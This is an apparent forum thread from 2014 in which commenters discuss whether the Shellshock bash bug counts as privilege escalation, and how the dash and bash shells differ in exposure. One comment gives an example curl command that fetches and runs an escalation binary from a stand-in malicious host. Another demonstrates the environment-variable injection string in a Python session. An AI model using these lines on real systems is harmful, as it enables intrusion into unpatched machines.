Where is the privilege escalation? I get the same results from running id throug...

sophacles · on Sept 24, 2014

Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example:

   curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin

could be the payload. This will download then run a secondary attack binary. Then the attacker wins.

dllthomas · on Sept 24, 2014

That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.

sophacles · on Sept 24, 2014

I think it comes down to a jargon vs technical language thing. In formal settings arbitrary code execution is a different thing from privilege escalation. In casual jargony talk though, security guys tend to equate code execution with privilege escalation with box ownage.

Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.

dllthomas · on Sept 24, 2014

None of this seems crazy unlikely, but I'd still like to hear a confirmation that that's what was meant. Especially since korzun was talking specifically about Debian and Ubuntu where bash is only used as a login shell and so presumably those with access could already just run the app.

sophacles · on Sept 24, 2014

There are unfortunately lots of bad scripts in the world that start with:

   #!/bin/bash

So for example, with a foo.sh script of:

   #!/bin/bash
   echo "loser!"

Then for example:

   vagrant@ubuntu-14:~/bin$ X='() { :; }; echo foo' python
   Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
   [GCC 4.8.2] on linux2
   Type "help", "copyright", "credits" or "license" for more information.
   >>> import os
   >>> os.system("./foo.sh")
   foo
   loser!
   0
   >>> import subprocess
   >>> subprocess.Popen("./foo.sh")
   <subprocess.Popen object at 0x7f04a115f350>
   >>> foo
   loser!

It should be noted that if the shebang is #!/bin/sh this doesn't work when sh == dash, but given that this wiki page exists on ubuntu:

https://wiki.ubuntu.com/DashAsBinSh

That recommends changing broken scripts to #!/bin/bash or changing to sh == bash as solutions. I would guess that there are going to be plenty of easily vulnerable debian/ubuntu systems.

More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.

dllthomas · on Sept 24, 2014

'More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.'

It doesn't matter for security. It matters a lot for my understanding of what's going on.

fragmede · on Sept 24, 2014

Most code executions vulnerabilities aren't remotely accessible, which this is, which makes priv-escalation particularly nasty. (eg: incorrectly assuming that since www-data user doesn't have access to anything sensitive, this bug isn't a big deal)

dllthomas · on Sept 24, 2014

Is it remotely accessible on systems where sh is dash, though? That's specifically what was under discussion.

agwa · on Sept 24, 2014

Yes, potentially - if at any point during the execution of a program (or its descendents) a bash script gets called with an untrusted environment variable value from a remote source. The difference between a system with bash as /bin/sh and a system with dash as /bin/sh is that the bash system is implicitly executing bash all the time, whereas the dash system requires an explicitly-bash script to be executed. So the dash system has many fewer windows of opportunity for an exploit, but they could still be there.

dllthomas · on Sept 24, 2014

Well, sure. It seems a slightly odd way to phrase it if that's the entirety of what korzun meant, though. Is there somewhere that happens in a typical out-of-the-box Debian or Ubuntu box?

korzun · on Sept 24, 2014

Privilege escalation is not static.

I know systems where bash has been patched to allow execution by certain users, etc.

With this, you can inject commands before such check takes place.

Etc.

dllthomas · on Sept 24, 2014

Hm, so only if bash is chmod or granted capabilities, absent exploiting some other vulnerability? I'd read you as saying more - no worries.